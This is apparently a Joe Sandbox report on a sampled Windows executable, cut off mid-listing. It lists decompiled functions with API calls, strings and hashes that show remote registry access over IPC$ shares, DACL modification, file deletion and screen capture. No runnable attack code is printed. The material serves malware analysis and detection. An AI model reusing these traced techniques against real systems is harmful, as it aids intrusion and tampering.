Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: SendString$BuffCharDriveLowerType__itow__swprintf_memmove
String ID: type cdaudio alias cd wait$ wait$close$close cd wait$closed$open$open $set cd door
API String ID: 2698844021-4113822522
Opcode ID: b6daaf0b17df8990a58476cf0117988b23bf268ba685d6f1a107e2b9e7aa0dbf
Instruction ID: afb5a0fa0ac985c97cca6a3bea452b08851b9e9c889443185e73e927cfb256d0
Opcode Fuzzy Hash: b6daaf0b17df8990a58476cf0117988b23bf268ba685d6f1a107e2b9e7aa0dbf
Instruction Fuzzy Hash: 0B518A71114208DFC705EF20C98196AF3E8FF88798F50492DF8859B2A1DB31AE15CF92

Function 0034A832 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 102fileCOMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 0034A852
__swprintf.LIBCMT ref: 0034A874
CreateDirectoryW.KERNEL32(?,00000000), ref: 0034A8B1
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000003,02200000,00000000), ref: 0034A8D6
_memset.LIBCMT ref: 0034A8F5
_wcsncpy.LIBCMT ref: 0034A931
DeviceIoControl.KERNEL32(00000000,000900A4,?,?,00000000,00000000,?,00000000), ref: 0034A966
CloseHandle.KERNEL32(00000000), ref: 0034A971
RemoveDirectoryW.KERNEL32(?), ref: 0034A97A
CloseHandle.KERNEL32(00000000), ref: 0034A984

Strings

\??\%s, xrefs: 0034A86E
\, xrefs: 0034A88A
:, xrefs: 0034A895

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: CloseCreateDirectoryHandle$ControlDeviceFileFullNamePathRemove__swprintf_memset_wcsncpy
String ID: :$\$\??\%s
API String ID: 2733774712-3457252023
Opcode ID: 261eec85da0678dae887b4459c40fb1c3a88612e99e6216560be545e0a3a8234
Instruction ID: 14ae10270b916d9b75cbd03e3ca47c15a6e0fa3e114c25153ebe6ba22756387c
Opcode Fuzzy Hash: 261eec85da0678dae887b4459c40fb1c3a88612e99e6216560be545e0a3a8234
Instruction Fuzzy Hash: CD31A17655011AABDB229FA0DC49FEF77BCEF88700F1141A6F509DA1A0E770A6848B25

Function 0036C0A5 Relevance: 22.6, APIs: 15, Instructions: 130filecommemoryCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,80000000,00000000,00000000,00000003,00000000,00000000,00000000,?,?,?,?,?,0036982C,?,?), ref: 0036C0C8
GetFileSize.KERNEL32(00000000,00000000,?,?,?,?,0036982C,?,?,00000000,?), ref: 0036C0DF
GlobalAlloc.KERNEL32(00000002,00000000,?,?,?,?,0036982C,?,?,00000000,?), ref: 0036C0EA
CloseHandle.KERNEL32(00000000,?,?,?,?,0036982C,?,?,00000000,?), ref: 0036C0F7
GlobalLock.KERNEL32(00000000,?,?,?,?,0036982C,?,?,00000000,?), ref: 0036C100
ReadFile.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,?,?,?,0036982C,?,?,00000000,?), ref: 0036C10F
GlobalUnlock.KERNEL32(00000000,?,?,?,?,0036982C,?,?,00000000,?), ref: 0036C118
CloseHandle.KERNEL32(00000000,?,?,?,?,0036982C,?,?,00000000,?), ref: 0036C11F
CreateStreamOnHGlobal.OLE32(00000000,00000001,?,?,?,?,?,0036982C,?,?,00000000,?), ref: 0036C130
OleLoadPicture.OLEAUT32(?,00000000,00000000,00373C7C,?), ref: 0036C149
GlobalFree.KERNEL32(00000000), ref: 0036C159
GetObjectW.GDI32(00000000,00000018,?), ref: 0036C17D
CopyImage.USER32(00000000,00000000,?,?,00002000), ref: 0036C1A8
DeleteObject.GDI32(00000000), ref: 0036C1D0
SendMessageW.USER32(?,00000172,00000000,00000000), ref: 0036C1E6

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: Global$File$CloseCreateHandleObject$AllocCopyDeleteFreeImageLoadLockMessagePictureReadSendSizeStreamUnlock
String ID:
API String ID: 3840717409-0
Opcode ID: ba73b92728734e565235114895de06f2e57ec34f17c7ac391d18208969bc51ae
Instruction ID: 56285b28e4e646f1af6affd19150bebb0b6019f612f3b0bc19d6b52b7ba8d6dc
Opcode Fuzzy Hash: ba73b92728734e565235114895de06f2e57ec34f17c7ac391d18208969bc51ae
Instruction Fuzzy Hash: D3412B75500204EFDB269F65DC8CEAABBBCEF89711F108058F94AE7261D7309D81DB60

Function 0036C854 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 229windowCOMMON

Download Yara Rule

APIs

Part of subcall function 002E29E2: GetWindowLongW.USER32(?,000000EB), ref: 002E29F3

PostMessageW.USER32(?,00000111,00000000,00000000), ref: 0036C8A4
GetFocus.USER32 ref: 0036C8B4
GetDlgCtrlID.USER32(00000000), ref: 0036C8BF
_memset.LIBCMT ref: 0036C9EA
GetMenuItemInfoW.USER32(?,00000000,00000000,?), ref: 0036CA15
GetMenuItemCount.USER32(?), ref: 0036CA35
GetMenuItemID.USER32(?,00000000), ref: 0036CA48
GetMenuItemInfoW.USER32(?,-00000001,00000001,?), ref: 0036CA7C
GetMenuItemInfoW.USER32(?,?,00000001,?), ref: 0036CAC4
CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 0036CAFC
DefDlgProcW.USER32(?,00000111,?,?,?,?,?,?,?), ref: 0036CB31

Strings

0, xrefs: 0036C9E2

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: ItemMenu$Info$CheckCountCtrlFocusLongMessagePostProcRadioWindow_memset
String ID: 0
API String ID: 1296962147-4108050209
Opcode ID: 4c11a992bb205c240bec0312d3d6407a6ce002bcb8d98d23bfe797fb6ce020e2
Instruction ID: b5e819638c787b7fa9af1415f45fb5882284426a449eddbaa55b9114758f28d6
Opcode Fuzzy Hash: 4c11a992bb205c240bec0312d3d6407a6ce002bcb8d98d23bfe797fb6ce020e2
Instruction Fuzzy Hash: 40818A70218301AFD726CF14C885A7BBBE8FB89314F01992DF9D9A7291C770D945CBA2

Function 00338ACA Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00338E20: GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00338E3C
Part of subcall function 00338E20: GetLastError.KERNEL32(?,00338900,?,?,?), ref: 00338E46
Part of subcall function 00338E20: GetProcessHeap.KERNEL32(00000008,?,?,00338900,?,?,?), ref: 00338E55
Part of subcall function 00338E20: HeapAlloc.KERNEL32(00000000,?,00338900,?,?,?), ref: 00338E5C
Part of subcall function 00338E20: GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00338E73

Part of subcall function 00338EBD: GetProcessHeap.KERNEL32(00000008,00338916,00000000,00000000,?,00338916,?), ref: 00338EC9
Part of subcall function 00338EBD: HeapAlloc.KERNEL32(00000000,?,00338916,?), ref: 00338ED0
Part of subcall function 00338EBD: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00338916,?), ref: 00338EE1

GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00338B2E
_memset.LIBCMT ref: 00338B43
GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 00338B62
GetLengthSid.ADVAPI32(?), ref: 00338B73
GetAce.ADVAPI32(?,00000000,?), ref: 00338BB0
AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 00338BCC
GetLengthSid.ADVAPI32(?), ref: 00338BE9
GetProcessHeap.KERNEL32(00000008,-00000008), ref: 00338BF8
HeapAlloc.KERNEL32(00000000), ref: 00338BFF
GetLengthSid.ADVAPI32(?,00000008,?), ref: 00338C20
CopySid.ADVAPI32(00000000), ref: 00338C27
AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 00338C58
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 00338C7E
SetUserObjectSecurity.USER32(?,00000004,?), ref: 00338C92

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: HeapSecurity$AllocDescriptorLengthObjectProcessUser$Dacl$CopyErrorInformationInitializeLast_memset
String ID:
API String ID: 3996160137-0
Opcode ID: 132b38ff1532930372a340fc6fcbf0b76c76aaa165e216052d29b71d8cc263c6
Instruction ID: ae9b89aa43ba5540a1b4255b7e0309aacddb1d32cb01d658f02708a44271ed9c
Opcode Fuzzy Hash: 132b38ff1532930372a340fc6fcbf0b76c76aaa165e216052d29b71d8cc263c6
Instruction Fuzzy Hash: 9B61687190020AEFDF16DFA4DC84EEEBB79FF04310F048169F919AA290DB759A45CB60

Function 00357A04 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 160windowCOMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 00357A79
CreateCompatibleBitmap.GDI32(00000000,00000007,?), ref: 00357A85
CreateCompatibleDC.GDI32(?), ref: 00357A91
SelectObject.GDI32(00000000,?), ref: 00357A9E
StretchBlt.GDI32(00000006,00000000,00000000,00000007,?,?,?,?,00000007,?,00CC0020), ref: 00357AF2
GetDIBits.GDI32(00000006,?,00000000,00000000,00000000,00000028,00000000), ref: 00357B2E
GetDIBits.GDI32(00000006,?,00000000,?,00000000,00000028,00000000), ref: 00357B52
SelectObject.GDI32(00000006,?), ref: 00357B5A
DeleteObject.GDI32(?), ref: 00357B63
DeleteDC.GDI32(00000006), ref: 00357B6A
ReleaseDC.USER32(00000000,?), ref: 00357B75

Strings

(, xrefs: 00357AFA

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: Object$BitsCompatibleCreateDeleteSelect$BitmapReleaseStretch
String ID: (
API String ID: 2598888154-3887548279
Opcode ID: 0e943c94c46e1dc9845095c84057fd01dcb3144d1afbde1348c543340ae2fd1c
Instruction ID: 014207dfb84256c96576b52df4d7a82c07aa1d38b7f82fdc9d67886853d92de3
Opcode Fuzzy Hash: 0e943c94c46e1dc9845095c84057fd01dcb3144d1afbde1348c543340ae2fd1c
Instruction Fuzzy Hash: F1514C71904309EFCB26CFA8DC85EAEBBB9EF48310F14851DF949A7260D731A9458B60

Function 0034A48D Relevance: 21.2, APIs: 7, Strings: 5, Instructions: 156COMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000066,?,00000FFF,?), ref: 0034A4D4

Part of subcall function 002F1A36: _memmove.LIBCMT ref: 002F1A77

LoadStringW.USER32(?,?,00000FFF,?), ref: 0034A4F6
__swprintf.LIBCMT ref: 0034A54F
__swprintf.LIBCMT ref: 0034A568
_wprintf.LIBCMT ref: 0034A61E
_wprintf.LIBCMT ref: 0034A63C

Strings

"%s" (%d) : ==> %s:, xrefs: 0034A637
"%s" (%d) : ==> %s:%s%s, xrefs: 0034A619
^ ERROR, xrefs: 0034A5C0
Line %d (File "%s"):, xrefs: 0034A549, 0034A562
Error: , xrefs: 0034A5E6

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: LoadString__swprintf_wprintf$_memmove
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR
API String ID: 311963372-2391861430
Opcode ID: 5e527faefc834f48c73e71fc38f4e89782c113b95ae0fa2304cf8793d6e0a567
Instruction ID: e7fcb50c70a7c82b2700164a86aebc6eca266cc223d24b8a400d706ccfe7af92
Opcode Fuzzy Hash: 5e527faefc834f48c73e71fc38f4e89782c113b95ae0fa2304cf8793d6e0a567
Instruction Fuzzy Hash: 21519D7195010DEACF16EBE0CD86EEEB7B8AF05380F504165F605A60A1EB312F68DF91

Function 00349710 Relevance: 19.8, APIs: 13, Instructions: 322fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0034951A: __time64.LIBCMT ref: 00349524

Part of subcall function 002F4A8C: _fseek.LIBCMT ref: 002F4AA4

__wsplitpath.LIBCMT ref: 003497EF

Part of subcall function 0030431E: __wsplitpath_helper.LIBCMT ref: 0030435E

_wcscpy.LIBCMT ref: 00349802
_wcscat.LIBCMT ref: 00349815
__wsplitpath.LIBCMT ref: 0034983A
_wcscat.LIBCMT ref: 00349850
_wcscat.LIBCMT ref: 00349863

Part of subcall function 00349560: _memmove.LIBCMT ref: 00349599
Part of subcall function 00349560: _memmove.LIBCMT ref: 003495A8

_wcscmp.LIBCMT ref: 003497AA

Part of subcall function 00349CF1: _wcscmp.LIBCMT ref: 00349DE1
Part of subcall function 00349CF1: _wcscmp.LIBCMT ref: 00349DF4

DeleteFileW.KERNEL32(?,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?), ref: 00349A0D
_wcsncpy.LIBCMT ref: 00349A80
DeleteFileW.KERNEL32(?,?), ref: 00349AB6
CopyFileW.KERNEL32(?,?,00000000,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001), ref: 00349ACC
DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00349ADD
DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00349AEF

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: File$Delete$_wcscat_wcscmp$__wsplitpath_memmove$Copy__time64__wsplitpath_helper_fseek_wcscpy_wcsncpy
String ID:
API String ID: 1500180987-0
Opcode ID: 81554a183f6bb4d2a4975d629c4e29644eed9067c993e89f57419b6dc8ae91d6
Instruction ID: a06f2c44b2ae203d5332434c50d0f023ac7a006a418c8ed0f131e1c907f25023
Opcode Fuzzy Hash: 81554a183f6bb4d2a4975d629c4e29644eed9067c993e89f57419b6dc8ae91d6
Instruction Fuzzy Hash: C1C12CB1D0011DAADF22DF95CC85ADFB7BDEF45350F0040AAF609EA151EB70AA848F65

Function 002F5BD7 Relevance: 19.7, APIs: 13, Instructions: 215windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 002F5BF1
GetMenuItemCount.USER32(003A7890), ref: 00330E7B
GetMenuItemCount.USER32(003A7890), ref: 00330F2B
GetCursorPos.USER32(?), ref: 00330F6F
SetForegroundWindow.USER32(00000000), ref: 00330F78
TrackPopupMenuEx.USER32(003A7890,00000000,?,00000000,00000000,00000000), ref: 00330F8B
PostMessageW.USER32(00000000,00000000,00000000,00000000), ref: 00330F97

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: Menu$CountItem$CursorForegroundMessagePopupPostTrackWindow_memset
String ID:
API String ID: 2751501086-0
Opcode ID: 0fea65dbf948e3537f423c5747584dd7619322528cc1333db5897cb077e521a5
Instruction ID: 826b7046613a6717702ff81bf5cc350df7206aceb60b602fd8ea60bc8bd50a0b
Opcode Fuzzy Hash: 0fea65dbf948e3537f423c5747584dd7619322528cc1333db5897cb077e521a5
Instruction Fuzzy Hash: 6071F930644719BFFB2A8B54CC95FAAFFA8FF05764F100216F6186A1D1C7B16860DB90

Function 0034AEEA Relevance: 19.4, APIs: 3, Strings: 8, Instructions: 183COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?,00370980), ref: 0034AF4E
GetDriveTypeW.KERNEL32(00000061,0039B5F0,00000061), ref: 0034B018
_wcscpy.LIBCMT ref: 0034B042

Strings

L,7, xrefs: 0034B03A
fixed, xrefs: 0034AF96
removable, xrefs: 0034AF80
cdrom, xrefs: 0034AF6A
unknown, xrefs: 0034AFD9
network, xrefs: 0034AFAC
all, xrefs: 0034AF54
ramdisk, xrefs: 0034AFC2

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: BuffCharDriveLowerType_wcscpy
String ID: L,7$all$cdrom$fixed$network$ramdisk$removable$unknown
API String ID: 2820617543-2819105945
Opcode ID: 7c0f34e6e38ab75397ef2afe89d79a67f4a8a458765f464d423a664c32037591
Instruction ID: 07ec22ee6ced278f7d41b727340b4c2c64725d03a9d1f0ff1b0e154da1045c15
Opcode Fuzzy Hash: 7c0f34e6e38ab75397ef2afe89d79a67f4a8a458765f464d423a664c32037591
Instruction Fuzzy Hash: F951DC301583059BC716EF14CC91AAAF7E9EF91740F90482DF5964B2E2EB30ED19CA52

Function 003383FA Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 128registryshareCOMMON

Download Yara Rule

APIs

Part of subcall function 002F1821: _memmove.LIBCMT ref: 002F185B

_memset.LIBCMT ref: 00338489
WNetAddConnection2W.MPR(?,?,?,00000000), ref: 003384BE
RegConnectRegistryW.ADVAPI32(?,80000002,?), ref: 003384DA
RegOpenKeyExW.ADVAPI32(?,?,00000000,00020019,?,?,SOFTWARE\Classes\), ref: 003384F6
RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,?,?,?,SOFTWARE\Classes\), ref: 00338520
CLSIDFromString.OLE32(?,?,?,SOFTWARE\Classes\), ref: 00338548
RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 00338553
RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 00338558

Strings

SOFTWARE\Classes\, xrefs: 0033842A
\CLSID, xrefs: 00338440
\IPC$, xrefs: 003384A0

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: Close$ConnectConnection2FromOpenQueryRegistryStringValue_memmove_memset
String ID: SOFTWARE\Classes\$\CLSID$\IPC$
API String ID: 1411258926-22481851
Opcode ID: e35681fac05436e438f21bef746f0f3c40c62d09afdf63d01d61744844edf9b8
Instruction ID: d95faecc18b2ad5a4b11b9b7f5baacc3b14b6b89d52fd8ff2d52da4836bf3463
Opcode Fuzzy Hash: e35681fac05436e438f21bef746f0f3c40c62d09afdf63d01d61744844edf9b8
Instruction Fuzzy Hash: 1E410572C2022DEBDF26EBA4DC959EDB778BF04790F404129F915A2161EA709E24CF90

Function 0036147A Relevance: 19.4, APIs: 1, Strings: 10, Instructions: 120COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,?,?,?,?,?,0036040D,?,?), ref: 00361491

Strings

HKCC, xrefs: 0036155F
HKEY_CURRENT_CONFIG, xrefs: 0036154E
HKCR, xrefs: 00361539
HKEY_CLASSES_ROOT, xrefs: 00361524
HKLM, xrefs: 0036150F
HKEY_CURRENT_USER, xrefs: 00361570
HKU, xrefs: 003615A3
HKCU, xrefs: 00361581
HKEY_LOCAL_MACHINE, xrefs: 003614FA
HKEY_USERS, xrefs: 00361592

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: BuffCharUpper
String ID: HKCC$HKCR$HKCU$HKEY_CLASSES_ROOT$HKEY_CURRENT_CONFIG$HKEY_CURRENT_USER$HKEY_LOCAL_MACHINE$HKEY_USERS$HKLM$HKU
API String ID: 3964851224-909552448
Opcode ID: 8a2c9d8ece8750acf26ace9eb5690b75ba33f51aaa81c5f11a499937a0c855bb
Instruction ID: ff08fdb3047c1d597ba295edc026526211c15fadf89dcb235547d0a4a46113b8
Opcode Fuzzy Hash: 8a2c9d8ece8750acf26ace9eb5690b75ba33f51aaa81c5f11a499937a0c855bb
Instruction Fuzzy Hash: 61419E3052425ADBCF16EF94D861AEA7324BF92300F948425FD534B2A6DB30ED29CB60

Function 00345882 Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 74COMMON

Download Yara Rule

APIs

Part of subcall function 002F1821: _memmove.LIBCMT ref: 002F185B

Part of subcall function 002F153B: _memmove.LIBCMT ref: 002F15C4

mciSendStringW.WINMM(status PlayMe mode,?,00000100,00000000), ref: 003458EB
mciSendStringW.WINMM(close PlayMe,00000000,00000000,00000000), ref: 00345901
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00345912
mciSendStringW.WINMM(play PlayMe wait,00000000,00000000,00000000), ref: 00345924
mciSendStringW.WINMM(play PlayMe,00000000,00000000,00000000), ref: 00345935

Strings

alias PlayMe, xrefs: 003458C4
close PlayMe, xrefs: 003458FC, 00345929
open , xrefs: 0034589A
play PlayMe wait, xrefs: 0034591F
play PlayMe, xrefs: 00345930
status PlayMe mode, xrefs: 003458E6

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: SendString$_memmove
String ID: alias PlayMe$close PlayMe$open $play PlayMe$play PlayMe wait$status PlayMe mode
API String ID: 2279737902-1007645807
Opcode ID: 98ea4dc168112602cd13f86ef5f3541a44bae59c84c008f223d67ecc96091da9
Instruction ID: 914fe67f1ab1ba13711489af4c6502ac069a1ddfd1679141cc340cb2a839eca7
Opcode Fuzzy Hash: 98ea4dc168112602cd13f86ef5f3541a44bae59c84c008f223d67ecc96091da9
Instruction Fuzzy Hash: 4011B23195016DF9DB21E7B1DC8ADFFFBBCEBA5B90F800429B901A60D1DBA01D14C9A0

Function 00344C0C Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 73networkCOMMON

Download Yara Rule

APIs

WSAStartup.WSOCK32(00000101,?), ref: 00344C27
gethostname.WSOCK32(?,00000100), ref: 00344C41
